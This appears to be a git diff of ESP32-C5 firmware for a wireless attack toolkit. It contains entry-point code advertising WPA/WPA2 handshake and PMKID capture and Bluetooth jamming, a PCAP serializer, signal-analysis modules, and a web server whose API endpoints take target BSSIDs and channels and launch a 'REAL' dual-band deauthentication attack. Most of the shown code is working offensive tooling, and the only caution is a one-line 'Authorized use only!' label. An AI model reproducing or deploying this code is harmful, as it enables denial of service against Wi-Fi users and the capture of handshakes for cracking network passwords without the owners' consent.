#include "esp_system.h"
#include "esp_random.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "nvs_flash.h"
#include "esp_wifi_types.h"
#include "hal/efuse_hal.h"
#include "esp_mac.h"
#include "esp_chip_info.h"
#include "web_server.h"
#include "esp_netif.h"
#include "lwip/ip4_addr.h"
#include "board_config.h"
#include "wifi_init.h"
#include "handshake_capture.h"
// Define MACSTR and MAC2STR
#ifndef MAC2STR
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
#endif
static const char* TAG = "esp32_c5_toolkit";
void app_main(void) {
printf("\n\n=== ESP32-C5 Toolkit Starting ===\n");
// Initialize NVS
esp_err_t ret = nvs_flash_init();
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
ESP_ERROR_CHECK(nvs_flash_erase());
ret = nvs_flash_init();
}
ESP_ERROR_CHECK(ret);
printf("NVS initialized OK\n");
// Print system info
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
ESP_LOGI(TAG, "║ ESP32-C5 Unified Toolkit ║");
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
ESP_LOGI(TAG, "Starting on %s", BOARD_NAME);
ESP_LOGI(TAG, "IDF Version: %s", esp_get_idf_version());
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
ESP_LOGI(TAG, "Chip model: %d, cores: %d", chip_info.model, chip_info.cores);
printf("Initializing WiFi...\n");
// Initialize WiFi
wifi_init_ap();
printf("WiFi initialized OK\n");
printf("Starting web server...\n");
// Initialize and start web server
init_web_server();
printf("Web server started OK\n");
printf("Initializing handshake capture module...\n");
// Initialize handshake capture (WPA/WPA2 handshake + PMKID capture)
handshake_capture_init();
printf("Handshake capture module ready\n");
// Display access instructions
ESP_LOGI(TAG, "");
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
ESP_LOGI(TAG, "║ Web Interface Ready ║");
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
ESP_LOGI(TAG, "Connect to WiFi SSID: ESP32-C5-Toolkit");
ESP_LOGI(TAG, "Password: h4ck3rm4n");
ESP_LOGI(TAG, "Web interface: http://192.168.4.1");
ESP_LOGI(TAG, "");
ESP_LOGI(TAG, "Features:");
ESP_LOGI(TAG, " - WiFi Network Scanner (2.4GHz + 5GHz)");
ESP_LOGI(TAG, " - WPA/WPA2 Handshake Capture (DUAL RADIO)");
ESP_LOGI(TAG, " - PMKID Capture Attack");
ESP_LOGI(TAG, " - PCAP & HCCAPX Download (Browser)");
ESP_LOGI(TAG, " - Advanced Packet Sniffer with Signal Analysis");
ESP_LOGI(TAG, " - Dual-Band Deauth Engine (Authorized use only!)");
ESP_LOGI(TAG, " - Signal Analysis & Channel Mapping");
ESP_LOGI(TAG, " - Real-time Graphs & Visualizations");
ESP_LOGI(TAG, " - Professional Hacker-Style UI");
ESP_LOGI(TAG, "");
printf("=== System Ready! ===\n\n");
}

View File

@@ -0,0 +1,77 @@
#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_system.h"
#include "esp_random.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "nvs_flash.h"
#include "esp_wifi_types.h"
#include "hal/efuse_hal.h"
#include "esp_mac.h"
#include "esp_chip_info.h"
#include "web_server.h"
#include "esp_netif.h"
#include "lwip/ip4_addr.h"
#include "board_config.h"
#include "wifi_init.h"
// #include "bt_scanner.h" // Temporarily disabled
// Define MACSTR and MAC2STR
#ifndef MAC2STR
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
#endif
static const char* TAG = "esp32_c5_toolkit";
void app_main(void) {
// Initialize NVS
esp_err_t ret = nvs_flash_init();
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
ESP_ERROR_CHECK(nvs_flash_erase());
ret = nvs_flash_init();
}
ESP_ERROR_CHECK(ret);
// Print system info
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
ESP_LOGI(TAG, "║ ESP32-C5 Unified Toolkit ║");
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
ESP_LOGI(TAG, "Starting on %s", BOARD_NAME);
ESP_LOGI(TAG, "IDF Version: %s", esp_get_idf_version());
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
ESP_LOGI(TAG, "Chip model: %d, cores: %d", chip_info.model, chip_info.cores);
// Initialize WiFi
wifi_init_ap();
// Initialize Bluetooth scanner
// bt_scanner_init(); // Temporarily disabled - BLE linking issues
// Initialize and start web server
init_web_server();
// Display access instructions
ESP_LOGI(TAG, "");
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
ESP_LOGI(TAG, "║ Web Interface Ready ║");
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
ESP_LOGI(TAG, "Connect to WiFi SSID: ESP32-C5-Toolkit");
ESP_LOGI(TAG, "Password: h4ck3rm4n");
ESP_LOGI(TAG, "Web interface: http://192.168.4.1");
ESP_LOGI(TAG, "");
ESP_LOGI(TAG, "Features:");
ESP_LOGI(TAG, " - WiFi Network Scanner (2.4GHz + 5GHz)");
ESP_LOGI(TAG, " - Advanced Packet Sniffer with Signal Analysis");
ESP_LOGI(TAG, " - Dual-Band Deauth Engine (Authorized use only!)");
ESP_LOGI(TAG, " - Bluetooth Scanner & Jamming");
ESP_LOGI(TAG, " - Signal Analysis & Channel Mapping");
ESP_LOGI(TAG, " - Real-time Graphs & Visualizations");
ESP_LOGI(TAG, " - Advanced System Dashboard");
ESP_LOGI(TAG, " - Professional Hacker-Style UI");
ESP_LOGI(TAG, "");
}

View File

@@ -0,0 +1,145 @@
/**
* @file pcap_serializer.c
* @brief PCAP file serializer implementation
*
* Generates PCAP format files compatible with Wireshark and other tools
*/
#include "pcap_serializer.h"
#include <string.h>
#include <stdlib.h>
#include "esp_log.h"
static const char *TAG = "pcap_serializer";
// PCAP Constants
#define PCAP_MAGIC_NUMBER 0xa1b2c3d4
#define SNAPLEN 65535
#define LINKTYPE_IEEE802_11 105 // 802.11 wireless
#define MAX_PCAP_SIZE (512 * 1024) // 512KB limit to prevent memory exhaustion
// Buffer management
static uint8_t *pcap_buffer = NULL;
static unsigned pcap_size = 0;
static unsigned packet_count = 0;
uint8_t* pcap_serializer_init(void) {
// Free any existing buffer
if (pcap_buffer) {
free(pcap_buffer);
}
// Create global header
pcap_global_header_t header = {
.magic_number = PCAP_MAGIC_NUMBER,
.version_major = 2,
.version_minor = 4,
.thiszone = 0,
.sigfigs = 0,
.snaplen = SNAPLEN,
.network = LINKTYPE_IEEE802_11
};
// Allocate buffer for header
pcap_buffer = malloc(sizeof(pcap_global_header_t));
if (!pcap_buffer) {
ESP_LOGE(TAG, "Failed to allocate PCAP buffer");
return NULL;
}
memcpy(pcap_buffer, &header, sizeof(pcap_global_header_t));
pcap_size = sizeof(pcap_global_header_t);
packet_count = 0;
ESP_LOGI(TAG, "PCAP serializer initialized");
return pcap_buffer;
}
void pcap_serializer_append_frame(const uint8_t *buffer, unsigned size, unsigned ts_usec) {
if (!buffer || size == 0) {
ESP_LOGD(TAG, "Empty frame, not appending");
return;
}
if (!pcap_buffer) {
ESP_LOGW(TAG, "PCAP not initialized, initializing now");
pcap_serializer_init();
if (!pcap_buffer) return;
}
// Create record header
pcap_record_header_t record = {
.ts_sec = ts_usec / 1000000,
.ts_usec = ts_usec % 1000000,
.incl_len = size,
.orig_len = size
};
// Limit to SNAPLEN
if (size > SNAPLEN) {
size = SNAPLEN;
record.incl_len = SNAPLEN;
}
// Reallocate buffer
unsigned new_size = pcap_size + sizeof(pcap_record_header_t) + size;
// Check if new size exceeds maximum limit
if (new_size > MAX_PCAP_SIZE) {
ESP_LOGW(TAG, "PCAP buffer limit reached (%u bytes), dropping frame", MAX_PCAP_SIZE);
return;
}
uint8_t *new_buffer = realloc(pcap_buffer, new_size);
if (!new_buffer) {
ESP_LOGE(TAG, "Failed to reallocate PCAP buffer (size: %u bytes)! PCAP may be incomplete.", new_size);
// Optionally: Could implement packet dropping strategy here (FIFO)
return;
}
// Append record header and data
memcpy(new_buffer + pcap_size, &record, sizeof(pcap_record_header_t));
memcpy(new_buffer + pcap_size + sizeof(pcap_record_header_t), buffer, size);
pcap_buffer = new_buffer;
pcap_size = new_size;
packet_count++;
ESP_LOGD(TAG, "Appended frame: %u bytes (total: %u bytes, %u packets)",
size, pcap_size, packet_count);
}
void pcap_serializer_deinit(void) {
if (pcap_buffer) {
free(pcap_buffer);
pcap_buffer = NULL;
}
pcap_size = 0;
packet_count = 0;
ESP_LOGI(TAG, "PCAP serializer deinitialized");
}
unsigned pcap_serializer_get_size(void) {
return pcap_size;
}
uint8_t* pcap_serializer_get_buffer(void) {
return pcap_buffer;
}
void pcap_serializer_reset(void) {
// Keep just the global header
if (pcap_buffer && pcap_size > sizeof(pcap_global_header_t)) {
uint8_t *new_buffer = realloc(pcap_buffer, sizeof(pcap_global_header_t));
if (new_buffer) {
pcap_buffer = new_buffer;
}
}
pcap_size = sizeof(pcap_global_header_t);
packet_count = 0;
ESP_LOGI(TAG, "PCAP buffer reset");
}
unsigned pcap_serializer_get_packet_count(void) {
return packet_count;
}

View File

@@ -0,0 +1,50 @@
/**
* @file pcap_serializer.h
* @brief PCAP file format serializer for Wireshark compatibility
*/
#ifndef PCAP_SERIALIZER_H
#define PCAP_SERIALIZER_H
#include <stdint.h>
// PCAP Global Header
typedef struct __attribute__((packed)) {
uint32_t magic_number; // 0xa1b2c3d4
uint16_t version_major; // 2
uint16_t version_minor; // 4
int32_t thiszone; // GMT offset (usually 0)
uint32_t sigfigs; // Timestamp accuracy
uint32_t snaplen; // Max packet length
uint32_t network; // Link-layer type
} pcap_global_header_t;
// PCAP Packet Header
typedef struct __attribute__((packed)) {
uint32_t ts_sec; // Timestamp seconds
uint32_t ts_usec; // Timestamp microseconds
uint32_t incl_len; // Captured length
uint32_t orig_len; // Original length
} pcap_record_header_t;
// Initialize PCAP serializer
uint8_t* pcap_serializer_init(void);
// Append a captured frame to PCAP buffer
void pcap_serializer_append_frame(const uint8_t *buffer, unsigned size, unsigned ts_usec);
// Deinitialize and free PCAP buffer
void pcap_serializer_deinit(void);
// Get current PCAP buffer size
unsigned pcap_serializer_get_size(void);
// Get PCAP buffer pointer
uint8_t* pcap_serializer_get_buffer(void);
// Reset PCAP buffer (keep header, clear packets)
void pcap_serializer_reset(void);
// Get number of packets in buffer
unsigned pcap_serializer_get_packet_count(void);
#endif // PCAP_SERIALIZER_H

View File

@@ -0,0 +1,104 @@
#include "signal_analysis.h"
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include "esp_timer.h"
#include <string.h>
#include <stdlib.h>
#define MAX_CHANNELS 165
#define MAX_HISTORY 100
// Channel utilization tracking
static channel_data_t channel_stats[MAX_CHANNELS];
static SemaphoreHandle_t signal_mutex = NULL;
// RSSI history tracking (per BSSID)
typedef struct {
uint8_t bssid[6];
int8_t rssi_history[MAX_HISTORY];
uint32_t timestamps[MAX_HISTORY];
int head;
int count;
} rssi_tracker_t;
static rssi_tracker_t rssi_trackers[10];
static int tracker_count = 0;
void signal_update_packet(uint8_t channel, int8_t rssi) {
if (channel == 0 || channel > MAX_CHANNELS) {
return;
}
if (signal_mutex == NULL) {
signal_mutex = xSemaphoreCreateMutex();
if (signal_mutex == NULL) {
return;
}
}
if (xSemaphoreTake(signal_mutex, portMAX_DELAY) != pdTRUE) {
return;
}
channel_data_t *ch = &channel_stats[channel - 1];
ch->channel = channel;
ch->packet_count++;
ch->rssi = (ch->rssi + rssi) / 2; // Average RSSI
ch->timestamp = (uint32_t)(esp_timer_get_time() / 1000000ULL);
xSemaphoreGive(signal_mutex);
}
int signal_get_channel_utilization(channel_data_t *data, int max_channels) {
if (signal_mutex == NULL || data == NULL) {
return 0;
}
if (xSemaphoreTake(signal_mutex, portMAX_DELAY) != pdTRUE) {
return 0;
}
int count = 0;
for (int i = 0; i < MAX_CHANNELS && count < max_channels; i++) {
if (channel_stats[i].packet_count > 0) {
data[count++] = channel_stats[i];
}
}
xSemaphoreGive(signal_mutex);
return count;
}
int signal_get_rssi_history(uint8_t *bssid, int8_t *rssi_history, uint32_t *timestamps, int max_samples) {
if (signal_mutex == NULL || bssid == NULL || rssi_history == NULL || timestamps == NULL) {
return 0;
}
if (xSemaphoreTake(signal_mutex, portMAX_DELAY) != pdTRUE) {
return 0;
}
// Find tracker for this BSSID
rssi_tracker_t *tracker = NULL;
for (int i = 0; i < tracker_count; i++) {
if (memcmp(rssi_trackers[i].bssid, bssid, 6) == 0) {
tracker = &rssi_trackers[i];
break;
}
}
if (!tracker) {
xSemaphoreGive(signal_mutex);
return 0;
}
int samples = (tracker->count < max_samples) ? tracker->count : max_samples;
for (int i = 0; i < samples; i++) {
int idx = (tracker->head - tracker->count + i + MAX_HISTORY) % MAX_HISTORY;
rssi_history[i] = tracker->rssi_history[idx];
timestamps[i] = tracker->timestamps[idx];
}
xSemaphoreGive(signal_mutex);
return samples;
}

View File

@@ -0,0 +1,42 @@
#ifndef SIGNAL_ANALYSIS_H
#define SIGNAL_ANALYSIS_H
#include <stdint.h>
// Signal analysis data structure
typedef struct {
uint8_t channel;
int8_t rssi;
uint32_t packet_count;
uint32_t timestamp;
} channel_data_t;
/**
* @brief Get channel utilization data
*
* @param data Output array for channel data
* @param max_channels Maximum number of channels
* @return Number of channels with data
*/
int signal_get_channel_utilization(channel_data_t *data, int max_channels);
/**
* @brief Get signal strength over time for a specific network
*
* @param bssid Target BSSID (6 bytes)
* @param rssi_history Output array for RSSI values
* @param timestamps Output array for timestamps
* @param max_samples Maximum number of samples
* @return Number of samples
*/
int signal_get_rssi_history(uint8_t *bssid, int8_t *rssi_history, uint32_t *timestamps, int max_samples);
/**
* @brief Update signal analysis with new packet data
*
* @param channel Channel number
* @param rssi RSSI value
*/
void signal_update_packet(uint8_t channel, int8_t rssi);
#endif /* SIGNAL_ANALYSIS_H */

View File

@@ -0,0 +1,666 @@
/**
* @file simple_web_server.c
* @brief ESP32-C5 Toolkit Web Server with Dual-Band Deauth
*
* Features:
* - Multi-target selection (2.4GHz + 5GHz)
* - Real dual-band deauth attack
* - BSSID display for proper targeting
*/
#include "esp_http_server.h"
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_system.h"
#include "esp_chip_info.h"
#include "esp_mac.h"
#include "cJSON.h"
#include "deauth_engine.h"
#include "bt_scanner.h"
#include "driver/temperature_sensor.h"
#include <string.h>
#include <stdlib.h>
// Temperature sensor handle
static temperature_sensor_handle_t temp_sensor = NULL;
#define TAG "WebServer"
// Store last scan results for target selection
static wifi_ap_record_t scan_results[30];
static uint16_t scan_count = 0;
// Forward declare HTML
static const char* get_index_html(void);
// ============================================================================
// HANDLERS
// ============================================================================
static esp_err_t root_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "Serving index.html");
const char* html = get_index_html();
httpd_resp_set_type(req, "text/html");
httpd_resp_send(req, html, strlen(html));
return ESP_OK;
}
// Enhanced scan with BSSID and security
static esp_err_t scan_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "WiFi scan requested");
wifi_scan_config_t scan_config = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time.active.min = 100,
.scan_time.active.max = 300
};
esp_wifi_scan_start(&scan_config, true);
scan_count = 30;
esp_wifi_scan_get_ap_records(&scan_count, scan_results);
cJSON *root = cJSON_CreateObject();
cJSON *networks = cJSON_CreateArray();
for (int i = 0; i < scan_count; i++) {
cJSON *ap = cJSON_CreateObject();
// SSID
cJSON_AddStringToObject(ap, "ssid", (char*)scan_results[i].ssid);
// BSSID as string
char bssid[18];
snprintf(bssid, sizeof(bssid), "%02x:%02x:%02x:%02x:%02x:%02x",
scan_results[i].bssid[0], scan_results[i].bssid[1],
scan_results[i].bssid[2], scan_results[i].bssid[3],
scan_results[i].bssid[4], scan_results[i].bssid[5]);
cJSON_AddStringToObject(ap, "bssid", bssid);
cJSON_AddNumberToObject(ap, "rssi", scan_results[i].rssi);
cJSON_AddNumberToObject(ap, "channel", scan_results[i].primary);
cJSON_AddStringToObject(ap, "band", scan_results[i].primary > 14 ? "5GHz" : "2.4GHz");
// Security
const char* security;
switch (scan_results[i].authmode) {
case WIFI_AUTH_OPEN: security = "Open"; break;
case WIFI_AUTH_WEP: security = "WEP"; break;
case WIFI_AUTH_WPA_PSK: security = "WPA"; break;
case WIFI_AUTH_WPA2_PSK: security = "WPA2"; break;
case WIFI_AUTH_WPA_WPA2_PSK: security = "WPA/WPA2"; break;
case WIFI_AUTH_WPA3_PSK: security = "WPA3"; break;
case WIFI_AUTH_WPA2_WPA3_PSK: security = "WPA2/WPA3"; break;
default: security = "Unknown";
}
cJSON_AddStringToObject(ap, "security", security);
cJSON_AddNumberToObject(ap, "index", i);
cJSON_AddItemToArray(networks, ap);
}
cJSON_AddItemToObject(root, "networks", networks);
cJSON_AddNumberToObject(root, "count", scan_count);
char *json_str = cJSON_PrintUnformatted(root);
httpd_resp_set_type(req, "application/json");
httpd_resp_send(req, json_str, strlen(json_str));
free(json_str);
cJSON_Delete(root);
ESP_LOGI(TAG, "Found %d networks", scan_count);
return ESP_OK;
}
// System info with attack status and ESP32-C5 features
static esp_err_t sysinfo_handler(httpd_req_t *req) {
cJSON *root = cJSON_CreateObject();
// Chip info
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
cJSON_AddStringToObject(root, "chip", "ESP32-C5");
cJSON_AddNumberToObject(root, "cores", chip_info.cores);
cJSON_AddNumberToObject(root, "revision", chip_info.revision);
// Memory
cJSON_AddNumberToObject(root, "heap", esp_get_free_heap_size());
cJSON_AddNumberToObject(root, "min_heap", esp_get_minimum_free_heap_size());
// Temperature sensor
float temp_celsius = 0;
if (temp_sensor == NULL) {
temperature_sensor_config_t temp_config = TEMPERATURE_SENSOR_CONFIG_DEFAULT(-10, 80);
temperature_sensor_install(&temp_config, &temp_sensor);
}
if (temp_sensor) {
temperature_sensor_enable(temp_sensor);
temperature_sensor_get_celsius(temp_sensor, &temp_celsius);
temperature_sensor_disable(temp_sensor);
}
cJSON_AddNumberToObject(root, "temp", (int)(temp_celsius * 10) / 10.0);
// MAC address
uint8_t mac[6];
esp_read_mac(mac, ESP_MAC_WIFI_STA);
char mac_str[18];
snprintf(mac_str, sizeof(mac_str), "%02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
cJSON_AddStringToObject(root, "mac", mac_str);
// Features
cJSON_AddStringToObject(root, "features", "WiFi6,BLE5,Thread");
cJSON_AddStringToObject(root, "version", "2.0.0");
cJSON_AddBoolToObject(root, "attacking", deauth_is_running());
// Get attack stats if running
if (deauth_is_running()) {
uint32_t total, p24, p5, elapsed;
deauth_get_stats(&total, &p24, &p5, &elapsed);
cJSON_AddNumberToObject(root, "packets_total", total);
cJSON_AddNumberToObject(root, "packets_24ghz", p24);
cJSON_AddNumberToObject(root, "packets_5ghz", p5);
cJSON_AddNumberToObject(root, "elapsed", elapsed);
}
char *json_str = cJSON_PrintUnformatted(root);
httpd_resp_set_type(req, "application/json");
httpd_resp_send(req, json_str, strlen(json_str));
free(json_str);
cJSON_Delete(root);
return ESP_OK;
}
// REAL deauth start - parses JSON with targets
static esp_err_t deauth_start_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "Deauth start requested");
// Read POST body
char buf[512];
int ret = httpd_req_recv(req, buf, sizeof(buf) - 1);
if (ret <= 0) {
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"No data\"}");
return ESP_OK;
}
buf[ret] = '\0';
ESP_LOGI(TAG, "Received: %s", buf);
cJSON *root = cJSON_Parse(buf);
if (!root) {
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Invalid JSON\"}");
return ESP_OK;
}
deauth_target_t target_24 = {0};
deauth_target_t target_5 = {0};
// Parse 2.4GHz target
cJSON *t24 = cJSON_GetObjectItem(root, "target_24ghz");
if (t24) {
cJSON *bssid = cJSON_GetObjectItem(t24, "bssid");
cJSON *ssid = cJSON_GetObjectItem(t24, "ssid");
cJSON *channel = cJSON_GetObjectItem(t24, "channel");
if (cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&target_24.bssid[0], &target_24.bssid[1], &target_24.bssid[2],
&target_24.bssid[3], &target_24.bssid[4], &target_24.bssid[5]);
target_24.channel = (uint8_t)channel->valueint;
if (cJSON_IsString(ssid)) {
strncpy(target_24.ssid, ssid->valuestring, sizeof(target_24.ssid) - 1);
}
target_24.active = true;
ESP_LOGI(TAG, "2.4GHz target: %s CH:%d", target_24.ssid, target_24.channel);
}
}
// Parse 5GHz target
cJSON *t5 = cJSON_GetObjectItem(root, "target_5ghz");
if (t5) {
cJSON *bssid = cJSON_GetObjectItem(t5, "bssid");
cJSON *ssid = cJSON_GetObjectItem(t5, "ssid");
cJSON *channel = cJSON_GetObjectItem(t5, "channel");
if (cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&target_5.bssid[0], &target_5.bssid[1], &target_5.bssid[2],
&target_5.bssid[3], &target_5.bssid[4], &target_5.bssid[5]);
target_5.channel = (uint8_t)channel->valueint;
if (cJSON_IsString(ssid)) {
strncpy(target_5.ssid, ssid->valuestring, sizeof(target_5.ssid) - 1);
}
target_5.active = true;
ESP_LOGI(TAG, "5GHz target: %s CH:%d", target_5.ssid, target_5.channel);
}
}
// Get duration (default 30 seconds)
cJSON *dur = cJSON_GetObjectItem(root, "duration");
uint32_t duration = cJSON_IsNumber(dur) ? dur->valueint : 30;
cJSON_Delete(root);
// Start the REAL attack
bool success = deauth_start_attack(
target_24.active ? &target_24 : NULL,
target_5.active ? &target_5 : NULL,
duration
);
httpd_resp_set_type(req, "application/json");
if (success) {
ESP_LOGI(TAG, "Attack started for %lu seconds", duration);
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack started\"}");
} else {
ESP_LOGW(TAG, "Failed to start attack");
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start - check targets\"}");
}
return ESP_OK;
}
// Stop attack
static esp_err_t deauth_stop_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "Deauth stop requested");
deauth_stop_attack();
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack stopped\"}");
return ESP_OK;
}
// Attack status endpoint
static esp_err_t deauth_status_handler(httpd_req_t *req) {
cJSON *root = cJSON_CreateObject();
bool running = deauth_is_running();
cJSON_AddBoolToObject(root, "running", running);
if (running) {
uint32_t total, p24, p5, elapsed;
deauth_get_stats(&total, &p24, &p5, &elapsed);
cJSON_AddNumberToObject(root, "packets_total", total);
cJSON_AddNumberToObject(root, "packets_24ghz", p24);
cJSON_AddNumberToObject(root, "packets_5ghz", p5);
cJSON_AddNumberToObject(root, "elapsed", elapsed);
}
char *json_str = cJSON_PrintUnformatted(root);
httpd_resp_set_type(req, "application/json");
httpd_resp_send(req, json_str, strlen(json_str));
free(json_str);
cJSON_Delete(root);
return ESP_OK;
}
// Bluetooth scan start (NimBLE)
static esp_err_t bt_scan_start_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "BLE scan start requested");
httpd_resp_set_type(req, "application/json");
bool success = bt_scan_start();
if (success) {
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"BLE scan started\"}");
} else {
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start BLE scan\"}");
}
return ESP_OK;
}
// Bluetooth scan stop
static esp_err_t bt_scan_stop_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "BLE scan stop requested");
httpd_resp_set_type(req, "application/json");
bool success = bt_scan_stop();
if (success) {
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"BLE scan stopped\"}");
} else {
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to stop BLE scan\"}");
}
return ESP_OK;
}
// Bluetooth devices list
static esp_err_t bt_devices_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "BLE devices requested");
bt_device_t bt_devs[30];
int count = bt_get_devices(bt_devs, 30);
cJSON *root = cJSON_CreateObject();
cJSON *device_array = cJSON_CreateArray();
for (int i = 0; i < count; i++) {
cJSON *dev = cJSON_CreateObject();
// MAC address
char addr[18];
snprintf(addr, sizeof(addr), "%02X:%02X:%02X:%02X:%02X:%02X",
bt_devs[i].addr[0], bt_devs[i].addr[1],
bt_devs[i].addr[2], bt_devs[i].addr[3],
bt_devs[i].addr[4], bt_devs[i].addr[5]);
cJSON_AddStringToObject(dev, "addr", addr);
cJSON_AddStringToObject(dev, "name", bt_devs[i].name[0] ? bt_devs[i].name : "Unknown");
cJSON_AddNumberToObject(dev, "rssi", bt_devs[i].rssi);
cJSON_AddStringToObject(dev, "type", "BLE");
cJSON_AddItemToArray(device_array, dev);
}
cJSON_AddItemToObject(root, "devices", device_array);
cJSON_AddNumberToObject(root, "count", count);
char *json_str = cJSON_PrintUnformatted(root);
httpd_resp_set_type(req, "application/json");
httpd_resp_send(req, json_str, strlen(json_str));
free(json_str);
cJSON_Delete(root);
ESP_LOGI(TAG, "Returned %d BLE devices", count);
return ESP_OK;
}
// ============================================================================
// URI DEFINITIONS
// ============================================================================
static httpd_uri_t uri_root = {.uri = "/", .method = HTTP_GET, .handler = root_handler};
static httpd_uri_t uri_scan = {.uri = "/api/scan", .method = HTTP_GET, .handler = scan_handler};
static httpd_uri_t uri_sysinfo = {.uri = "/api/system-info", .method = HTTP_GET, .handler = sysinfo_handler};
static httpd_uri_t uri_deauth_start = {.uri = "/api/deauth/start", .method = HTTP_POST, .handler = deauth_start_handler};
static httpd_uri_t uri_deauth_stop = {.uri = "/api/deauth/stop", .method = HTTP_GET, .handler = deauth_stop_handler};
static httpd_uri_t uri_deauth_status = {.uri = "/api/deauth/status", .method = HTTP_GET, .handler = deauth_status_handler};
static httpd_uri_t uri_bt_scan_start = {.uri = "/api/bt/scan/start", .method = HTTP_GET, .handler = bt_scan_start_handler};
static httpd_uri_t uri_bt_scan_stop = {.uri = "/api/bt/scan/stop", .method = HTTP_GET, .handler = bt_scan_stop_handler};
static httpd_uri_t uri_bt_devices = {.uri = "/api/bt/devices", .method = HTTP_GET, .handler = bt_devices_handler};
// ============================================================================
// WEB SERVER
// ============================================================================
static httpd_handle_t server = NULL;
httpd_handle_t start_webserver(void) {
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
config.stack_size = 8192;
config.max_uri_handlers = 15;
ESP_LOGI(TAG, "Starting web server on port %d", config.server_port);
if (httpd_start(&server, &config) == ESP_OK) {
httpd_register_uri_handler(server, &uri_root);
httpd_register_uri_handler(server, &uri_scan);
httpd_register_uri_handler(server, &uri_sysinfo);
httpd_register_uri_handler(server, &uri_deauth_start);
httpd_register_uri_handler(server, &uri_deauth_stop);
httpd_register_uri_handler(server, &uri_deauth_status);
httpd_register_uri_handler(server, &uri_bt_scan_start);
httpd_register_uri_handler(server, &uri_bt_scan_stop);
httpd_register_uri_handler(server, &uri_bt_devices);
ESP_LOGI(TAG, "Web Server started at http://192.168.4.1");
} else {
ESP_LOGE(TAG, "Failed to start web server!");
}
return server;
}
void stop_webserver(void) {
if (server) {
httpd_stop(server);
server = NULL;
}
}
void init_web_server(void) {
start_webserver();
}
// ============================================================================
// HTML - Multi-target selection with Channel Graph
// ============================================================================
static const char* get_index_html(void) {
static const char html[] =
"<!DOCTYPE html>"
"<html><head>"
"<meta charset='UTF-8'>"
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>"
"<title>ESP32-C5 Toolkit</title>"
"<style>"
"*{margin:0;padding:0;box-sizing:border-box}"
"body{font-family:'Courier New',monospace;background:#0a0a0a;color:#0f0;padding:15px}"
"h1{text-align:center;margin-bottom:15px;text-shadow:0 0 10px #0f0}"
"h3{margin:10px 0 5px;color:#0f0}"
".container{max-width:900px;margin:0 auto}"
".panel{background:#111;border:1px solid #0f0;padding:15px;margin:10px 0;border-radius:5px}"
".btn{background:#0f0;color:#000;border:none;padding:8px 15px;cursor:pointer;font-family:inherit;margin:3px;border-radius:3px;font-weight:bold}"
".btn:hover{background:#0c0}"
".btn-danger{background:#f00;color:#fff}"
".btn-danger:hover{background:#c00}"
".btn-warn{background:#f80;color:#000}"
"#networks{max-height:250px;overflow-y:auto}"
".network{padding:8px;border:1px solid #333;margin:3px 0;cursor:pointer;font-size:0.9em}"
".network:hover{border-color:#0f0}"
".network.selected-24{background:#003;border-color:#08f}"
".network.selected-5{background:#330;border-color:#f80}"
".ssid{font-weight:bold}"
".bssid{color:#888;font-size:0.85em}"
".info{color:#888;font-size:0.85em}"
".band-24{color:#08f}.band-5{color:#f80}"
".targets{display:flex;gap:10px;flex-wrap:wrap;margin:10px 0}"
".target-card{flex:1;min-width:200px;padding:10px;border-radius:5px}"
".target-24{background:#002;border:2px solid #08f}"
".target-5{background:#220;border:2px solid #f80}"
".status{padding:10px;background:#001;border:1px solid #0f0;margin-top:10px}"
".attack-running{color:#f00;animation:blink 1s infinite}"
"@keyframes blink{50%{opacity:0.5}}"
